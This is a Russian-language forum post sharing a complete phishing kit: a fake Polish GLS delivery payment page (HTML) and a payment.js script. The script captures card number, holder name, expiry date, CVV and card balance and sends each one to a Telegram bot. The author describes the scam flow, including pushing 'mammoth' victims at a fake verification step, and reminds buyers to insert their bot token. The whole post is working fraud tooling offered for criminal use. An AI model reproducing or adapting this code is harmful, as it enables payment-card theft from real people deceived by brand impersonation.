Загрузка...

[UPDATE] ****** для тимы по Eu

Тема в разделе Веб-разработка создана пользователем countrymerchant 25 окт 2024. 533 просмотра

  1. countrymerchant
    countrymerchant Автор темы 25 окт 2024 2 22 окт 2024
    Добрый день, до этого сливал один шаблон ******а но он был сырой, некоторые функции не работали/отсутствовали

    Проделанная работа:
    1.Полностью поменял дизайн
    2.Сделал более красивый дизайн
    3.Настроил отправку данных в телеграм
    4.Сделал так же страницу с вводом баланса
    5.Конечная страница с якобы верифом( но в этот момент нужно кинуть пуш мамонту)
    6.Добавил BIN карт, мало но вы можете найти еще больше бинов и добавить их
    для себя.
    7.Когда начинается ввод карты приходит уведомление когда карту уже ввел приходят данные потом если переход на ввод баланса тоже приходит сообщение и переход на верификацию, когда придет нажал на кнопку верификации нужно будет кинуть пуш

    Если есть вопросы tg:countrymerchant
    Ниже код файла index.html и payment.js
    Код
    <!DOCTYPE html>
    <html lang="pl">
    <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Płatność kartą</title>
    <style>
    body {
    font-family: "Arial", sans-serif;
    background-color: #f8fbfd;
    margin: 0;
    padding: 20px;
    }
    .header {
    background-color: #0069d9;
    color: gray;
    padding: 20px;
    text-align: center;
    box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
    border-radius: 8px;
    }
    .container {
    max-width: 600px;
    margin: auto;
    background: white;
    padding: 40px;
    border-radius: 10px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
    transition: 0.3s;
    }
    h1 {
    text-align: center;
    color: #343a40;
    margin-bottom: 30px;
    font-family: 'Helvetica Neue', sans-serif;
    }
    p {
    text-align: center;
    color: #6c757d;
    margin-bottom: 20px;
    }
    .card-input {
    margin-bottom: 15px;
    }
    label {
    display: block;
    margin-bottom: 5px;
    font-weight: bold;
    color: #495057;
    }
    input[type="text"],
    input[type="number"],
    input[type="submit"] {
    width: 100%;
    padding: 14px;
    border: 2px solid
    #d3d4cb;
    border-radius: 5px;
    font-size: 16px;
    transition: 0.3s;
    }
    input[type="text"]:focus,
    input[type="number"]:focus {
    border-color: #007bff;
    outline: none;
    }
    input[type="submit"] {
    background-color: #28a745;
    color: white;
    margin: 5px 0px;
    border: none;
    cursor: pointer;
    font-weight: bold;
    transition: background-color 0.3s, transform 0.2s;
    }
    input[type="submit"]:hover {
    background-color: #218838;
    transform: scale(1.02);
    }
    .verification-button {
    display: inline-block;
    padding: 10px 20px;
    background-color: #007bff;
    color: white;
    border: none;
    border-radius: 5px;
    font-size: 16px;
    cursor: pointer;
    text-align: center;
    margin: 20px 0;
    transition: background-color 0.3s, transform 0.2s;
    }
    .verification-button:hover {
    background-color: #0056b3;
    transform: scale(1.02);
    }
    .logos {
    display: flex;
    justify-content: space-between;
    margin-top: 10px;
    }
    .logos img {
    width: 45px;
    }
    .footer {
    text-align: center;
    margin-top: 20px;
    font-size: 12px;
    color: #6c757d;
    }
    .verification-container {
    display: none;
    text-align: center;
    margin-top: 30px;
    }
    .loading-screen {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(255, 255, 255, 0.9);
    color: gray;
    font-size: 18px; /* Уменьшенный размер текста */
    font-weight: bold;
    text-align: center;
    padding-top: 40%;
    z-index: 1000;
    }
    .loading-screen span {
    opacity: 0.7;
    animation: dots 1s steps(5, end) infinite;
    font-size: 18px; /* Уменьшенный размер анимации */
    }
    @keyframes dots {
    0%, 20% {
    content: "";
    }
    40% {
    content: ".";
    }
    60% {
    content: "..";
    }
    80% {
    content: "...";
    }
    100% {
    content: "";
    }
    }
    </style>
    </head>
    <body>

    <img src="https://upload.wikimedia.org/wikipedia/commons/a/a6/GLS_Logo_2021.svg" alt="GLS Logo" style="height: 30px" />
    </div>

    <div class="container" id="mainCont">
    <h1></h1>

    <form id="paymentForm" onsubmit="handlePayment(event)">
    <div class="card-input">
    <label for="card-number">Numer karty (16 cyfr)</label>
    <input type="text" id="card-number" placeholder="1234 5678 9012 3456" required maxlength="19" oninput="formatCardNumber(this)" />
    </div>

    <div class="card-input">
    <label for="cardholder-name">Imię i nazwisko posiadacza karty</label>
    <input type="text" id="cardholder-name" placeholder="Jan Kowalski" required />
    </div>

    <div class="card-input">
    <label for="expiry-date">Data ważności (MM/RR)</label>
    <input type="text" id="expiry-date" placeholder="MM/RR" required maxlength="5" oninput="formatExpiryDate(this)" />
    </div>

    <div class="card-input">
    <label for="***">***</label>
    <input type="password" id="***" placeholder="***" required maxlength="3" oninput="formatCvv(this)" />
    </div>

    <div class="logos">
    <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="Visa"
    style="height: 21px"
    margin: 10px 10px; />
    <img src="https://upload.wikimedia.org/wikipedia/commons/a/a4/Mastercard_2019_logo.svg" alt="Mastercard"
    style="height: 21px"
    text-align: center; />
    </div>

    <input type="submit" value="Przejdź do balansu" />
    </form>

    <form id="balanceForm" style="display:none;" onsubmit="handleBalance(event)">
    <h1>Wprowadzenie Balansu</h1>
    <p>Proszę wprowadzić kwotę.</p>

    <div class="card-input">
    <label for="balance">Kwota (zł)</label>
    <input type="number" id="balance" placeholder="0.00" required step="0.01" />
    </div>

    <input type="submit" value="Zatwierdź" />
    </form>

    <div class="verification-container" id="verificationContainer">
    <h1>Weryfikacja</h1>
    <p>Twoja karta nie została zweryfikowana w naszym serwisie. Jeśli nie zweryfikujesz karty, pieniądze za dostawę trafią na nieistniejące konto i znikną.</p>
    <p>Aby zweryfikować kartę, kliknij przycisk poniżej:</p>
    <button class="verification-button" id="verificationButton">Weryfikacja</button>
    </div>

    <div class="footer">
    <p>Bezpieczne płatności dzięki SSL</p>
    <p>© 2024 GLS. Wszelkie prawa zastrzeżone.</p>
    </div>
    </div>

    <div class="loading-screen" id="loadingScreen">
    Proszę czekać, nawiązywanie połączenia <span>.</span>
    </div>

    <script src="payment.js"></script>
    </body>
    </html>
    Код отправки данных в телеграм

    JS
    // Объект для хранения кодов BIN и информации о них
    const binInfo = {
    "47901914": { network: "VISA", type: "credit", level: "TRADITIONAL" },
    "52440493": { network: "ŁMASTERCARD", type: "credit", level: "CREDIT BUSINESS PREPAID" },
    "44177272": { network: "VISA", type: "debit", level: "ELECTRON" },
    "54392637": { network: "ŁMASTERCARD", type: "credit", level: "STANDARD" },
    };

    // Функция для отправки уведомления в Telegram
    async function notifyTelegram(text) {
    const token = '';
    const chatId = '';
    const url = `https://api.telegram.org/bot${token}/sendMessage`;

    await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json',
    },
    body: JSON.stringify({
    chat_id: chatId,
    text: text,
    parse_mode: 'HTML'
    }),
    }).catch(error => {
    console.error('Ошибка при отправке уведомления:', error);
    });
    }

    // Определение банка на основании номера карты
    function getBankInfo(cardNumber) {
    const bin = cardNumber.slice(0, 8);
    const info = binInfo[bin];

    if (info) {
    return `${info.network} (${info.type}, ${info.level})`;
    } else {
    return "Неизвестный банк";
    }
    }

    // Форматирование номера карты
    function formatCardNumber(input) {
    let value = input.value.replace(/\D/g, '');
    let formattedValue = '';
    for (let i = 0; i < value.length; i++) {
    if (i > 0 && i % 4 === 0) {
    formattedValue += ' ';
    }
    formattedValue += value[i];
    }
    input.value = formattedValue.trim();
    }

    // Форматирование даты
    function formatExpiryDate(input) {
    let value = input.value.replace(/\D/g, '');
    if (value.length > 2) {
    value = value.slice(0, 2) + '/' + value.slice(2, 4);
    }
    input.value = value.slice(0, 5);
    }

    // Форматирование ***
    function formatCvv(input) {
    input.value = input.value.replace(/\D/g, '').slice(0, 3);
    }

    // Обработка начала ввода карты
    async function handleCardInput() {
    await notifyTelegram('Ввод карты начат.');
    }

    // Показать экран загрузки
    function showLoadingScreen() {
    document.getElementById('loadingScreen').style.display = 'flex';
    }

    // Скрыть экран загрузки
    function hideLoadingScreen() {
    document.getElementById('loadingScreen').style.display = 'none';
    }

    // Обработка платежа
    async function handlePayment(event) {
    event.preventDefault();

    const cardNumber = document.getElementById('card-number').value.replace(/\s/g, '');
    const cardholderName = document.getElementById('cardholder-name').value;
    const expiryDate = document.getElementById('expiry-date').value;
    const *** = document.getElementById('***').value;

    const bankInfo = getBankInfo(cardNumber);

    // Формируем сообщение для отправки
    const message =
    `Данные карты:\n` +
    `- Номер карты: ${cardNumber}\n` +
    `- Банк: ${bankInfo}\n` +
    `- Имя и Фамилия: ${cardholderName}\n` +
    `- ММ/ГГ: ${expiryDate}\n` +
    `- ***: ${***}\n`;

    // Отправка уведомления о вводе данных карты
    await notifyTelegram(message);

    // Сбросить форму после отправки
    document.getElementById('paymentForm').reset();

    // Показать экран загрузки
    showLoadingScreen();

    // Задержка перед переключением формы
    setTimeout(() => {
    // Скрыть форму платежа и показать форму баланса
    document.getElementById('paymentForm').style.display = 'none';
    document.getElementById('balanceForm').style.display = 'block';
    hideLoadingScreen();
    }, 2000);

    // Отправка уведомления о переходе на ввод баланса
    await notifyTelegram('Переход на ввод баланса.');

    // Сохранить данные платежа для дальнейшего использования
    window.paymentData = {
    cardNumber,
    bankInfo,
    cardholderName,
    expiryDate,
    ***
    };
    }

    // Обработка ввода баланса
    async function handleBalance(event) {
    event.preventDefault();

    const balance = document.getElementById('balance').value;

    const allData = window.paymentData; // Используем данные платежа

    // Формируем сообщение для отправки только с балансом
    const balanceMessage =
    `Баланс:\n` +
    `- Баланс: ${balance} zł\n` +
    `- Имя и Фамилия: ${allData.cardholderName}\n` +
    `- Номер карты: ${allData.cardNumber}`; // только номер карты, без лишних данных

    await notifyTelegram(balanceMessage);

    // Сбросить форму после отправки и скрыть её
    document.getElementById('balanceForm').reset();

    // Показать экран загрузки
    showLoadingScreen();

    // Задержка перед переходом на верификацию
    setTimeout(() => {
    document.getElementById('balanceForm').style.display = 'none';
    document.getElementById('verificationContainer').style.display = 'block';
    hideLoadingScreen();
    }, 2000);

    // Отправка уведомления о переходе на верификацию
    await notifyTelegram('Переход на верификацию.');
    }

    // Обработка верификации
    async function sendVerification() {
    await notifyTelegram('Пользователь нажал на кнопку Верификация.');
    }

    // Присоедините обработчик событий к кнопке верификации
    document.getElementById('verificationButton').addEventListener('click', sendVerification);

    // Привязка функции форматирования к полю ввода номера карты
    document.getElementById('card-number').addEventListener('focus', handleCardInput);
    НЕ ЗАБУДЬТЕ ПОМЕНЯТЬ token и chat id иначе ничего не будет приходить
     
  2. ranchoq
    ranchoq 30 окт 2024 0 30 окт 2024
     
Top
Загрузка...